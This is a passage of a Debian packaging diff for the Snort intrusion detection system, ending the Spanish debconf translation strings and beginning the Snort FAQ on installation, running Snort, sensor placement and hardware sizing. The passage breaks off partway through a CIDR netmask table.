+#~ "Introduzca el nombre de servidor de la base de datos mysql que va a "
+#~ "utilizar."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Por favor, indique el nombre de la base de datos a utilizar."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr ""
+#~ "Por favor, introduzca el nombre de usuario de la base de datos que quiere "
+#~ "utilizar."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "Introduzca el nombre de servidor de la base de datos psql que va a "
+#~ "utilizar."
+
+#~ msgid ""
+#~ "Your system has an obsolete configuration file  (/etc/snort/snort.common."
+#~ "parameters) which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "Su sistema tiene un fichero de configuración obsoleto (/etc/snor/snort."
+#~ "common.parameters) que ha sido convertido de forma automática al nuevo "
+#~ "formato de fichero de configuración (en /etc/default/snort). Por favor, "
+#~ "revise el nuevo fichero de configuración y borre el antigüo. El guión del "
+#~ "init.d no utilizará la nueva configuración hasta que lo borre y no podrá "
+#~ "aprovecharse de las ventajas introducidas en nuevas versiones."
+
+#~ msgid ""
+#~ "Your system has an obsolete configuration file  (/etc/snort/snort.common."
+#~ "parameters)  which has been automatically converted into the new "
+#~ "configuration file format (at /etc/default/snort). Please review the new "
+#~ "configuration and remove the obsolete one. Until you do this, the init.d "
+#~ "script will not use the new configuration and you will not take advantage "
+#~ "of the benefits introduced in newer releases."
+#~ msgstr ""
+#~ "Su sistema tiene un fichero de configuración obsoleto (/etc/snor/snort."
+#~ "common.parameters) que ha sido convertido de forma automática al nuevo "
+#~ "formato de fichero de configuración (en /etc/default/snort). Por favor, "
+#~ "revise el nuevo fichero de configuración y borre el antigüo. El guión del "
+#~ "init.d no utilizará la nueva configuración hasta que lo borre y no podrá "
+#~ "aprovecharse de las ventajas introducidas en nuevas versiones."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on. The names of the available interfaces are provided by either running "
+#~ "'ip link show' of 'ifconfig'. This value usually is 'eth0', but you might "
+#~ "want to vary this depending on your environment, if you are using a "
+#~ "dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Por favor, introduzca el nombre de la interfaz o interfaces en la que "
+#~ "Snort debe escuchar. Puede obtener los nombres de las interfaces "
+#~ "ejecutando «ip link show». Este valor suele ser «eth0», pero quizás desee "
+#~ "variarlo dependiendo de su entorno. Si está utilizando una conexión "
+#~ "telefónica a Internet basada en PPP puede ser más apropiado utilizar "
+#~ "«ppp0»."
+
+#~ msgid "On which interface should Snort listen?"
+#~ msgstr "¿En qué interfaz debería escuchar Snort?"
+
+#~ msgid ""
+#~ "Notice that Snort is usually configured to inspect all traffic coming "
+#~ "from the Internet, so the interface you add here is usually the same the "
+#~ "'default route' is on.  You can determine which interface is used for "
+#~ "this running either 'ip route show' or '/sbin/route -n' (look for "
+#~ "'default' or '0.0.0.0')."
+#~ msgstr ""
+#~ "Tenga en cuenta que generalmente se configura a Snort para que analice "
+#~ "todo el tráfico que viene de Internet, así que la interfaz que se añade "
+#~ "aquí es generalmente la misma que tiene definida la ruta por omisión. "
+#~ "Para determinar qué interfaz se está utilizando para esto, ejecute bien "
+#~ "«ip route show» o bien «/sbin/route -n» (busque aquellos valores asociados "
+#~ "a «default» o «0.0.0.0»)."
+
+#~ msgid "Should Snort disable promiscous mode on the interface?"
+#~ msgstr "¿Debería Snort deshabilitar el modo promíscuo en la interfaz?"
+
+#~ msgid ""
+#~ "The configuration file found the following deprecated content:  "
+#~ "${DEP_CONFIG}"
+#~ msgstr ""
+#~ "Se encontraron las siguientes opciones obsoletas en el fichero de "
+#~ "configuración: ${DEP_CONFIG}"
+
+#~ msgid ""
+#~ "Please enter the interface name wich snort should listen on. F.e. eth0 "
+#~ "Usually this is the interface the 'default route' is on.  See  '/sbin/ip "
+#~ "ro sh' or '/sbin/route -n' and look for 'default' or '0.0.0.0'."
+#~ msgstr "Introduzca el nombre de la interfaz "
--- snort-2.8.5.2.orig/debian/my/FAQ.txt
+++ snort-2.8.5.2/debian/my/FAQ.txt
@@ -0,0 +1,3580 @@
+                                 The Snort FAQ
+
+                              The Snort Core Team
+
+Suggestions for enhancements of this document are always welcome. Please email
+them to erek@snort.org . If you have contributed to this document and don't
+see your name listed, email us. Many people have contributed to this FAQ:
+
+                                                                       
+
+   Marty Roesch     Fyodor Yarochkin       Dragos Ruiu           Jed Pickel
+
+    Max Vision       Michael Davis        Joe McAlerney          Joe Stewart
+
+    Erek Adams       Roman Danyliw      Christopher Cramer      Frank Knobbe
+
+     Phil Wood      Toby Kohlenberg      Ramin Alidousti         Jim Hankins
+
+Dennis Hollingworth   Paul Howell            Stef Mit            Ofir Arkin
+
+    Jason Haar        Blake Frantz   Lars Norman Søndergaard   Brent Erickson
+
+   Brian Caswell    Scot Wiedenfeld        Chris Green           Jeff Wirth
+
+  Edin Dizdarevic    Detmar Liesen            Don Ng            Matt Kettler
+
+     Joe Lyman        Jim Burwell           Jed Haile         Andrew Hutchinson
+
+    Jeff Nathan     Alberto Gonzalez        Jason Haar                 
+
+                                                                       
+
+Dragos Ruiu: This version of this guide has been brought to you by the kind
+generosity and sponsorship of Wiley and Sons publishers whose support let
+myself, and other snort developers Jeff Nathan and Jed Haile take the time to
+work on this document and other tutorials for Snort due out in our upcoming
+book. (route++)
+
+
+Contents
+
+  * Contents
+  * 1 Background
+      + 1.1 How do you pronounce the names of some of these guys who work on
+        snort?
+      + 1.2 Is Fyodor Yarochkin the same Fyodor who wrote nmap?
+      + 1.3 Where do I get more help on snort?
+      + 1.4 Where can I get more reading and courses about IDS?
+      + 1.5 Does Snort handle IP defragmentation?
+      + 1.6 Does Snort perform TCP stream reassembly?
+      + 1.7 Does Snort perform stateful protocol analysis?
+      + 1.8 I'm on a switched network, can I still use Snort?
+      + 1.9 Is snort vulnerable to IDS noise generators like "Stick" and
+        "Snot"?
+      + 1.10 Can snort be evaded by the use of polymorphic mutators on
+        shellcode?
+      + 1.11 Does Snort log the full packets that it generates alerts?
+  * 2 Getting Started
+      + 2.1 Where do I find binary packages for BlueHat BSD-Linux-RT?
+      + 2.2 How do I run snort?
+      + 2.3 Where are my log files located? What are they named?
+      + 2.4 Why does snort complain about /var/log/snort?
+      + 2.5 Where's a good place to physically put a Snort sensor?
+      + 2.6 Libpcap complains about permissions problems, what's going on?
+      + 2.7 I've got RedHat and ....
+      + 2.8 Where do I get the latest version of libpcap?
+      + 2.9 Where do I get the latest version of Winpcap?
+      + 2.10 What version of Winpcap do I need?
+      + 2.11 Why does building snort complain about missing references?
+      + 2.12 Why does building snort fail with errors about yylex and lex_init?
+      + 2.13 I want to build a snort box. Will this <Insert list of hardware>
+        handle <this much> traffic?
+      + 2.14 What are CIDR netmasks?
+      + 2.15 What is the use of the "-r" switch to read tcpdump files?
+  * 3 Configuring Snort
+      + 3.1 How do I setup snort on a 'stealth' interface?
+      + 3.2 How do I setup a receive-only ethernet cable?
+      + 3.3 What are HOME_NET and EXTERNAL_NET?
+      + 3.4 My network spans multiple subnets. How do I define HOME_NET?
+      + 3.5 How do I set EXTERNAL_NET?
+      + 3.6 How can I run snort on multiple interfaces simultaneously.
+      + 3.7 My IP address is assigned dynamically to my interface, can I use
+        snort with it?
+      + 3.8 I have one network card and two aliases, how can I force snort to
+        "listen" on both addresses ?
+      + 3.9 How do I ignore traffic coming from a particular host or hosts?
+      + 3.10 How do I get Snort to log the packet payload as well as the
+        header?
+      + 3.11 Why are there no subdirectories under /var/log/snort for IP
+        addresses?
+      + 3.12 Why does the portscan plugin log "stealth" packets even though the
+        host is in the portscan-ignorehosts list?
+      + 3.13 What the heck is a ``Stealth scan''?
+      + 3.14 What the heck is a SYNFIN scan?
+      + 3.15 Which takes precedence, commandline or rule file ?
+      + 3.16 How does rule ordering work?
+      + 3.17 How do I configure stream4?
+      + 3.18 Where does one obtain new/modified rules? How do you merge them
+        in?
+      + 3.19 How do you get the latest snort via cvs?
+      + 3.20 How do I use a remote syslog machine?
+      + 3.21 How do I build this ACID thing?
+  * 4 Rules and Alerts
+      + 4.1 Errors loading rules files
+      + 4.2 Snort says "Rule IP addr ("1.1.1.1") didn't x-late, WTF?"
+      + 4.3 Snort is behind a firewall and awfully quiet...
+      + 4.4 Does snort see packets filtered by IPTables/IPChains/IPF/PF?
+      + 4.5 I'm getting large amounts of <some alerts type>. What should I do?
+        Where can I go to find out more about it?
+      + 4.6 What about all these false alarms?
+      + 4.7 What are all these ICMP files in subdirectories under /var/log/
+        snort?
+      + 4.8 Why does the program generate alerts on packets that have pass
+        rules?
+      + 4.9 What are all these "ICMP destination unreachable" alerts?
+      + 4.10 Why do many snort rules have the flags P (TCP PuSH) and A (TCP
+        ACK) set?
+      + 4.11 Snort says BACKDOOR SIGNATURE... does my machine have a Trojan?
+      + 4.12 What about "CGI Null Byte attacks"?
+      + 4.13 Why do certain alerts seem to have 'unknown' IPs in ACID?
+      + 4.14 Can priorities be assigned to Alerts using ACID?
+      + 4.15 What about 'SMB Name Wildcard' alerts?
+      + 4.16 What the heck is a SYNFIN scan?
+      + 4.17 I am getting too many "IIS Unicode attack detected" and/or "CGI
+        Null Byte attack detected" false positives. How can I turn this
+        detection off?
+      + 4.18 How do I test snort alerts and logging?
+      + 4.19 What is the difference between ``Alerting'' and ``Logging''?
+      + 4.20 Are rule keywords ORed or ANDed together?
+      + 4.21 Can snort trigger a rule by MAC addresses?
+      + 4.22 How can I deactivate a rule?
+      + 4.23 How can I define an address to be anything except some hosts?
+      + 4.24 After I add new rules or comment out rules how do I make snort
+        reload?
+      + 4.25 Where do the distance and within keywords work from to modify
+        content searches in rules ?
+      + 4.26 How can I specify a list of ports in a rule?
+      + 4.27 How can I protect web servers running on ports other than 80?
+      + 4.28 How do I turn off "spp:possible EVASIVE RST detection" alerts?
+      + 4.29 Is there a private SID number range so my rules don't conflict?
+      + 4.30 How long can Address Lists, Variables, or Rules be?
+  * 5 Getting Fancy
+      + 5.1 I hear people talking about ``Barnyard''. What's that?
+      + 5.2 How do I process those snort logs into reports?
+      + 5.3 How do I log to multiple databases or output plugins?
+      + 5.4 How can I test snort without having an ethernet card or a
+        connection to other computers?
+      + 5.5 How to start snort as a win32 service?
+      + 5.6 Is it possible with snort to add a ipfilter/ipfw rule to a
+        firewall?
+      + 5.7 What is the best way to use snort to block attack traffic?
+      + 5.8 Snort complains about the "react" keyword...
+      + 5.9 How do I get snort to e-mail me alerts?
+      + 5.10 How do I log a specific type of traffic and send alerts to syslog?
+      + 5.11 Is it possible to have snort call an external program when an
+        alert is raised?
+      + 5.12 How can I use snort to log http urls or smtp traffic ?
+      + 5.13 How can I move data from the snort db to snort_archive db like
+        ACID does?
+      + 5.14 What are some resources that I can use to understand more about
+        source addresses logged and where they are coming from?
+      + 5.15 How do I understand this traffic and do IDS alert analysis?
+      + 5.16 How can I examine logged packets in more detail?
+  * 6 Problems
+      + 6.1 I think I found a bug in snort. Now what?
+      + 6.2 SMB alerts aren't working, what's wrong?
+      + 6.3 Snort says "Garbage Packet with Null Pointer discarded!". Huh?
+      + 6.4 Snort says "Ran Out Of Space". Huh?
+      + 6.5 My ACID db connection times-out when performing long operations
+        (e.g. deleting a large number of alerts)
+      + 6.6 Why does ACID keep changing my sensor number and how do I keep it
+        consistent?
+      + 6.7 Why does snort report "Packet loss statistics are unavailable under
+        Linux"?
+      + 6.8 My /var/log/snort directory get very large.....
+      + 6.9 Why does the 'error deleting alert' message occur when attempting
+        to delete an alert with ACID?
+      + 6.10 ACID appears to be broken in Lynx
+      + 6.11 I am getting 'snort [pid] uses obsolete (PF_INET, SOCK_PACKET)'
+        warnings, what's wrong.
+      + 6.12 On HPUX I get device lan0 open: recv_ack: promisc_phys: Invalid
+        argument
+      + 6.13 I am getting snort dying with 'can not create file' error and I
+        have plenty of diskspace, what's wrong?
+      + 6.14 I am using Snort on Windows and receive an ``OpenPcap() error upon
+        startup: ERROR: OpenPcap() device open: Error opening adapter'' What's
+        wrong?
+      + 6.15 Snort is not logging to my database!
+      + 6.16 Portscans are not being logged to my database
+      + 6.17 Snort is not logging to syslog
+      + 6.18 I am still getting bombarded with spp_portscan messages even
+        though the IP that I am getting the portscan from is in my $DNS_SERVERS
+        var
+      + 6.19 Why chrooted snort die when I send it a SIGHUP?
+      + 6.20 My snort crashes, how do I restart it?
+      + 6.21 Why can't snort see one of the 10Mbps or 100Mbps traffic on my
+        autoswitch hub
+      + 6.22 Trying to install snort it says: "bad interpreter: No such file or
+        directory"
+      + 6.23 I'm not seeing any interfaces listed under Win32.
+      + 6.24 It's not working on Win32, how can I tell if my problem is snort
+        or WinPcap?
+      + 6.25 I just downloaded a new ruleset and now snort fails complaining
+        about the rules.
+      + 6.26 How do I speed up ACID and MySQL ?
+      + 6.27 Why am I seeing so many "SMTP RCPT TO overflow" alerts ?
+      + 6.28 I'm getting lots of *ICMP Ping Speedera*, is this bad?
+      + 6.29 Why are my unified alert times off by +/- N hours?
+      + 6.30 I try to start snort and it gives an error like "ERROR: Unable to
+        open rules file: /root/.snortrc or /root//root/.snortrc". What can I do
+        to fix this?
+  * 7 Development
+      + 7.1 How do you put snort in debug mode?
+  * 8 Miscellaneous
+      + 8.1 What's this about a snort drinking game?
+
+1 Background
+
+1.1 How do you pronounce the names of some of these guys who work on snort?
+
+For the record, 'Roesch' is pronounced like 'fresh' without the 'f'.
+Additionally, 'Ruiu' is pronounced like 'screw you' without the 'sc' (think of
+the sound your car makes when it doesn't start on a cold morning). Jed's last
+name is like "pick-el", not "pickle".
+
+1.2 Is Fyodor Yarochkin the same Fyodor who wrote nmap?
+
+Nope. fyodor@insecure.org is the author of nmap, and he uses the same pseudonym
+as other snort Fyodor's real surname. Yeah, messes up my mailbox too, but I
+think it's too late to change either of them :-).
+
+1.3 Where do I get more help on snort?
+
+Check the website, http://www.snort.org/ . Other good resources are are
+available in the source distribution, including the Snort Users Manual and the
+USAGE file. There is also a excellent mailing list, snort-users. You can find
+info on how to signup at http://www.snort.org/lists.html . You can also join #
+snort on irc.freenode.het.
+
+1.4 Where can I get more reading and courses about IDS?
+
+ All of the following offer courses on Intrusion Detection:
+
+  * SANS - http://www.sans.org
+  * Usenix - http://www.usenix.org/event/
+  * Networld/Interop - http://www.key3media.com/interop/
+  * CanSecWest - http://www.cansecwest.com
+
+There are some books about Snort that are about to be published:
+
++--------------------------------------------------------------------------------------------------------+
+|                                  |                           |                |              |         |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+| Snort: The Complete Guide        | Jeff Nathan, Dragos Ruiu, |   Wiley&Sons   |  0471455970  | 06/2003 |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+|      to Intrusion Detection      |         Jed Haile         |                |              |         |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+| Intrusion Detection with Snort:  |       Rafeeq Rehman       | Prentice Hall  | I0131407333  | 05/2003 |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+|      Advanced IDS Techniques     |                           |                |              |         |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+| Snort Intrusion Detection        |       Ryan Russell        | Syngress Media |  1931836744  | 02/2003 |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+| Snort Intrusion Detection        |        Jack Koziol        |   New Riders   |  157870281X  | 04/2003 |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+|                                  |                           |                |              |         |
++--------------------------------------------------------------------------------------------------------+
+
+Many good books on Intrusion detection are available. Included are just a few:
+
++-------------------------------------------------------------------------------------+
+|                                                   |                    |            |
+|---------------------------------------------------+--------------------+------------|
+| Network Intrusion Detection An Analyst's Handbook | Stephen Northcutt  | 0735708681 |
+|---------------------------------------------------+--------------------+------------|
+| Intrusion Signatures and Analysis                 | Stephen Northcutt  | 0735710635 |
+|---------------------------------------------------+--------------------+------------|
+| TCP/IP Illustrated, Volume 1 The Protocols        | W. Richard Stevens | 0201633469 |
+|---------------------------------------------------+--------------------+------------|
+| Intrusion Detection                               | Rebecca G. Bace    | 1578701856 |
+|---------------------------------------------------+--------------------+------------|
+|                                                   |                    |            |
++-------------------------------------------------------------------------------------+
+
+1.5 Does Snort handle IP defragmentation?
+
+Yes, use "preprocessor frag2"
+
+1.6 Does Snort perform TCP stream reassembly?
+
+Yes, check out the stream4 preprocessor (see FAQ 3.17) that does stateful
+analysis session loggin, tcp reassembly and much much more.
+
+1.7 Does Snort perform stateful protocol analysis?
+
+Yes. (see FAQ 3.17) does this as well.
+
+1.8 I'm on a switched network, can I still use Snort?
+
+Short version:
+
+Being able to sniff on a switched network depends on what type of switch is
+being used. If the switch can mirror traffic, then set the switch to mirror all
+traffic to the snort machine's port.
+
+Extended version:
+
+There are several ways of deploying NIDS in switched environments which all
+have their pros and cons. Which method applies to your needs depends on what
+kind of segments you want to monitor and on your budget. Here are the most
+common methods:
+
+1.  Switch Mirror - if the switch can mirror traffic, then set the switch to
+    mirror all traffic to the snort machine's port.
+      + Advantages:
+
+        - Simple method, works with most decent switches.
+      + Drawbacks:
+
+        - if the switch is a fast ethernet switch, you can mirror 100Mbit/s
+        max. Since each switch port is capable of handling 100Mbit/s for each
+        direction, the bandwidth per port sums up to 200Mbit/s, so the switch
+        will not be able to mirror all packets at high network utilization.
+
+        - some switches suffer from performance degradation through port
+        mirroring.
+
+2.  Hub - inserting a hub in line, so you can simply tap all traffic. Works
+    fine for home networks, will lose data due to collisions at loads greater
+    than 50% - so a 10Mbps hub should be fine for T1/E1, DSL or cablemodem. If
+    you have a DS3 or greater, you should investigate taps.
+
+      + Advantages:
+
+        -Simple method
+
+        -No impact on switch performance and no config changes
+
+        -low cost
+      + Drawbacks:
+
+        -loss of full-duplex capabilities
+
+        -additional single point of failure
+
+        - collision loss at above 50% load levels
+
+3.  Network Taps - using network taps (e.g. Shomiti/Finisar^[*] and Netoptics^
+    [*]). You can find some rather good information in the papers by Jeff
+    Nathan. You can find the papers at http://www.snort.org/docs/#deploy .
+      + Advantages:
+
+        - no impact on switch performance and no special configuration
+
+        - stealth, i.e. sending data back to the switch is disabled
+
+        - no single point of failure, "fail-open" if the tap power fails
+      + Drawbacks:
+
+        - the datastream is split into TX and RX, so you need two NICs
+
+        - the two datastreams have to be recombined, i.e. merged, if you don't
+        want to lose the capability of doing stateful analysis. This can be
+        done by using channel bonding. Information can be found at http://
+        sourceforge.net/projects/bonding . - cost
+
+4.  Throw money at it - tapping all switch ports (using the forementioned
+    network taps) but only tapping all incoming packets (RX lines of the switch
+    ports), connecting those tap ports to a dedicated gigabit switch, which is
+    capable of mirroring up to ten RX taplines to one single dedicated gigabit
+    port, which is connected to a gigabit IDS machine.
+
+      + Advantages:
+
+        -maximum coverage (i.e. monitor all switchports)
+
+        -no performance degradation or re-configuration of the switch
+      + Drawbacks:
+
+        -mucho $$$
+
+1.9 Is snort vulnerable to IDS noise generators like "Stick" and "Snot"?
+
+It is now possible to defeat these kinds of noise generators with the (see FAQ
+3.17) preprocessor. Even without the stream4 preprocessor enabled, snort will
+weather the alert storm without falling over or losing a lot of alerts due to
+its highly optimized nature. Using tools that generate huge amounts of alerts
+will warn a good analyst that someone is trying to sneak by their defenses.
+
+1.10 Can snort be evaded by the use of polymorphic mutators on shellcode?
+
+Yes, and this could defeat some of the NOP sled detection signatures but the
+ordinary exploit rules should not be affected by this kind of obfuscation. The
+fnord preprocessor attempts to detect mutated or obfuscated long strings of NOP
+equivalent sleds.
+
+1.11 Does Snort log the full packets that it generates alerts?
+
+Yes, the packets should be in the directory that has the same IP address as the
+source host of the packet which generated the alert. If you are using binary
+logging, there will be a packet capture file (.pcap) in the logging directory
+instead.
+
+2 Getting Started
+
+2.1 Where do I find binary packages for BlueHat BSD-Linux-RT?
+
+Repeat after me:
+
+    wget http://www.snort.org/downloads/snort-stable.tgz
+
+    tar zxvf snort-stable.tgz
+
+    cd snort-stable
+
+    ./configure
+
+    make
+
+    su
+
+    make install
+
+    mkdir /var/log/snort
+
+    cd etc
+
+    vi snort.conf
+
+    snort -D -c snort.conf
+
+    exit
+
+...and if you want to use our binary package uninstaller :-):
+
+    cd snort-stable; make uninstall
+
+and if you must, you can find some binaries at http://www.snort.org/dl/binaries
+/ . You can also find Snort in most BSD ports trees.
+
+2.2 How do I run snort?
+
+Run Snort in sniffer mode and make sure it can see the packets.
+
+    snort -dv
+
+Then run it with the HOME_NET set appropriately for the network you're
+defending in your rules file. A default rules file comes with the snort
+distribution and is called "snort.conf" You can run this basic ruleset with the
+following command line:
+
+    snort -A full -c snort.conf
+
+If it's all set right, make sure the interface is in promiscuous mode by
+running the command from another window:
+
+    ifconfig -a
+
+The output from ifconfig should show if the interface is in promiscuous mode.
+If it's not, there should be a way to set it manually.
+
+Note that the default output mode (-A full) of snort should not be used except
+in very controlled environments. It is the slowest way to run snort and
+presents several hard to recover from problems with inode creation on
+filesystems.
+
+For people doing real IDS work, use something like (-A fast -b) to combine fast
+alert mode with tcpdump binary log files or use the unified format coupled with
+(see FAQ [*]).
+
+2.3 Where are my log files located? What are they named?
+
+The default location for logs is /var/log/snort. If snort is started with "-l
+<directory>", then the logs will be located in the directory specified.
+
+In the past, running Snort in daemon mode (-D) produced a file named
+"snort.alert". For consistency sake, this has been changed. Running Snort in
+both standard or daemon modes (-D) will produce a file named "alert".
+
+Note the log file naming convention changed between 1.8 and 1.9. That funny
+alphanumeric soup at the end of the new names is a UNIX timestamp. This helps
+avoid file conflicts.
+
+2.4 Why does snort complain about /var/log/snort?
+
+It requires this directory to log alerts to it. Try running the command:
+
+    mkdir -p /var/log/snort
+
+Make sure the logging directory is owned by the user snort is running as.
+
+2.5 Where's a good place to physically put a Snort sensor?
+
+This is going to be heavily influenced by your organizations policy, and what
+you want to detect. One way of looking at it is determining if you want to
+place it inside or outside your firewall. Placing an IDS outside of your
+firewall will allow you monitor all attacks directed at your network,
+regardless of whether or not they are stopped at the firewall. This almost
+certainly means that the IDS will pick up on more events than an IDS inside the
+firewall, and hence more logs will be generated. Place an IDS inside your
+firewall if you are only interested in monitoring traffic that your firewall
+let pass. If resources permit, it may be best to place one IDS outside and one
+IDS inside of your firewall. This way you can watch for everything directed at
+your network, and anything that made it's way in.
+
+ADDENDA AD NAUSEUM
+
+Note: So this one still gets a lot of traffic even though it's in the FAQ. Erek
+Adams has noted this comprehensive and authoritative discussion of this
+perpetual discussion item - mildly edited, also see faq question about switches
+hubs and taps -dr
+
+If your router/switch can do port mirroring then just connecting a network IDS
+to it would be fine. Else a hub could be another option. Most of network IDS
+can have a NIC that acts as a passive sniffer anyway.
+
+As to where to place the sensor. I would go for both, one to monitor the
+external, one for the internal. I work in a distributor for security products,
+so over instrumentation is fun :) And in any case, if the traffic do not pass
+by the Sensor it will not get monitored. So some people deploy IDS on their
+internal segments too I believe.
+
+In ``front'' of the firewall(s):
+
+Pro: Higher state of alert you know what attacks you are facing.
+
+Con: Wall to Wall of data, boring? If your firewall has NAT turned on, tracking
+the sources originating from your internal network is difficult.
+
+``Behind'' the firewall(s):
+
+Pro: Only what gets through the firewall gets monitored? Less load on the IDS
+analyst. You get to see what hosts are sending traffic to the internet.
+
+Con: Less idea of the state of the environment, false sense of safety.
+
+Where should IDS be placed relative to firewalls? Explore the pros and cons off
+placing IDS inside or outside firewall. What are the drawbacks of each?
+
+  * MARCUS RANUM from NFR Security: "I'd put mine inside. Why should I care if
+    someone is attacking the outside of my firewall? I care only if they
+    succeed, which my IDS on the inside would ideally detect. Placing the IDS
+    on the outside is going to quickly lull the administrator into complacency.
+    I used to have a highly instrumented firewall that alerted me whenever
+    someone attacked it. Two weeks later I was deleting its alert messages
+    without reading them. Another important factor arguing for putting it
+    inside is that not all intrusions come from the outside or the firewall. An
+    IDS on the inside might detect new network links appearing, or attackers
+    that got in via another avenue such as a dial-in bank.''
+  * CURRY from IBM: ``The IDS should be placed where it will be able to see as
+    much of the network traffic you're concerned about as possible. For
+    example, if you're concerned about attacks from the Internet, it makes the
+    most sense to put the IDS outside the firewall. the most sense to put the
+    IDS outside the firewall. This gives it an "unobstructed" view of
+    everything that's coming in. If you put the IDS inside the firewall, then
+    you're not seeing all the traffic the bad guys are sending at you, and this
+    may impact your ability to detect intrusions.''
+  * SUTTERFIELD from Wheel Group: ``IDS ideally plays an important role both
+    inside and outside a firewall. Outside a firewall, IDS watches legitimate
+    traffic going to public machines such as e-mail and Web servers. More
+    importantly IDS outside a firewall will see traffic that would typically be
+    blocked by a firewall and would remain undetected by an internal system.
+    This is especially important in detecting network sweeping which can be a
+    first indication of attack. External systems will also give you the benefit
+    of monitoring those services that firewalls determine are legitimate.
+    Putting an IDS inside the firewall offers the added benefit of being able
+    to watch traffic internal to the protected network. This adds an important
+    element of protection against insider threats. The major drawback of IDS
+    inside a firewall is that it cannot see a good deal of important traffic
+    coming from untrusted networks and may fail to alert on obvious signals of
+    an impending attack.''
+  * CHRIS KLAUS from ISS: ``Outside the firewall is almost always a good
+    idea-it protects the DMZ devices from attack and dedicates an additional
+    processor to protecting the internal network. Just inside the firewall is
+    also useful-it detects attempts to exploit the tunnels that exist through
+    the firewall and provides an excellent source of data for how well your
+    firewall is working. Throughout your intranet may be the best place for IDS
+    deployment, however. Everyone agrees that attacks aren't the only things
+    we're worried about-there's internal mischief, fraud, espionage, theft, and
+    general network misuse. Intrusion detection systems are just as effective
+    inside the network as outside, especially if they're unobtrusive and easy
+    to deploy.''
+  * GENE SPAFFORD: ``The IDS must be inside any firewalls to be able to detect
+    insider abuse and certain kinds of attacks through the firewall. IDS
+    outside the firewall may be useful if you want to monitor attacks on the
+    firewall, and to sample traffic that the firewall doesn't let through.
+    However, a true IDS system is likely to be wasted there unless you have
+    some follow-through on what you see.''
+  * Bottom Line:
+
+    DRAGOS RUIU: ``just pick a spot you're likely to look at the logs for :-)''
+
+2.6 Libpcap complains about permissions problems, what's going on?
+
+You are not running snort as root or your kernel is not configured correctly.
+
+2.7 I've got RedHat and ....
+
+Check your version of libpcap. If it's not >= 0.5, then you should update.
+
+2.8 Where do I get the latest version of libpcap?
+
+You can find the most current version at:
+
+    http://www.tcpdump.org/
+
+You might also want to have a look at Phil Wood's patches to libpcap for Linux.
+
+    http://public.lanl.gov/cpw/
+
+2.9 Where do I get the latest version of Winpcap?
+
+http://winpcap.polito.it/
+
+2.10 What version of Winpcap do I need?
+
+It depends. If you only have one processor, you can use the most current
+version (3.x). If you have a SMP box, you'll have to use either an older
+version (< 2.3) or the 3.x version plus a patch from http://www.ntop.org/
+winpcap.html .
+
+2.11 Why does building snort complain about missing references?
+
+You must configure libpcap with the -install-incl option. (On RedHat, install
+the libpcap-devel rpm.)
+
+2.12 Why does building snort fail with errors about yylex and lex_init?
+
+You need the lex and yacc tools or their gnu equivalents flex and bison
+installed.
+
+2.13 I want to build a snort box. Will this <Insert list of hardware> handle
+<this much> traffic?
+
+That depends. Lower the number of rules is a standard performance increase.
+Disable rules that you don't need or care about. There have been many
+discussions on 'tweaking performance' with lots of 'I handle XX mb with a ___
+machine setup.' being said. Look at some of the discussions on the snort-users
+mailing lists.
+
+Here is an oft quoted bit on the subject from Marty:
+
+"Hardware/OS recommendations"
+
+Ok, here are the guidelines and some parameters. Intrusion detection is turning
+into one of the most high performance production computing fields that is in
+wide deployment today. If you think about the requirements of a NIDS sensor and
+the constraints that they are required to operate within, you'll probably start
+to realize that it's not too hard to find the performance wall with a NIDS
+these days.
+
+The things a NIDS needs are:
+
+1.  MIPS (Fast CPU)
+2.  RAM (More is *always* better)
+3.  I/O (Wide, fast busses and high performance NIC)
+4.  AODS (Acres Of Disk Space)
+
+A NIDS also needs to be pretty quick internally at doing its job. Snort's seen
+better days in that regard (when 1.5 came out the architecture was a lot
+cleaner) but it's still considered to be one of the performance leaders
+available.
+
+As for OS selection, use what you like. When we implement Data Acquisition
+Plugin's in Snort 2.0 this may become more of a factor, but for now I'm hearing
+about a lot of people seeing alot of success using Snort on Solaris, Linux,
+*BSD and Windows 2000. Personally, I develop Snort on FreeBSD and Sourcefire
+uses OpenBSD for our sensor appliance OS, but I've been hearing some good
+things about the RedHat Turbo Packet interface (which would require mods for
+Snort to use, not to mention my general objection to RedHat's breaking stuff
+all the time). (ed note: take a drink, see FAQ 7.2 -dr)
+
+2.14 What are CIDR netmasks?
+
+(Excerpt from url: http://public.pacbell.net/dedicated/cidr.html ) CIDR is a
+new addressing scheme for the Internet which allows for more i efficient
+allocation of IP addresses than the old Class A, B, and C address scheme.
+
+CIDR Block  Equivalent Class C   IP Addresses Usable Addresses   Subnet Mask
+
+   /32     1/256th of a Class C       1              1         255.255.255.255
+
+   /30      1/64th of a Class C       4              2         255.255.255.252
+
+   /29      1/32nd of a Class C       8              6         255.255.255.248
+
+   /28      1/16th of a Class C       16             14        255.255.255.240
+
+   /27      1/8th of a Class C        32             30        255.255.255.224
+
+   /26      1/4th of a Class C        64             62        255.255.255.192
+
+   /25       1/2 of a Class C        128            126        255.255.255.128
+
+   /24           1 Class C           256            254         255.255.255.0
+
+   /23           2 Class C           512            510         255.255.254.0
+
+   /22           4 Class C          1,024           1022        255.255.252.0
+
+   /21           8 Class C          2,048           2046        255.255.248.0
+
+   /20          16 Class C          4,096           4094        255.255.240.0
+
+   /19          32 Class C          8,192           8190        255.255.224.0
+
+   /18          64 Class C          16,384         16,382       255.255.192.0
+
+   /17          128 Class C         32,768         32,766       255.255.128.0
+
+   /16          256 Class C         65,536         65,534        255.255.0.0
+
+   /15          512 Class C        131,072        131,070        255.254.0.0
+
+   /14         1,024 Class C       262,144        262,142        255.252.0.0
+
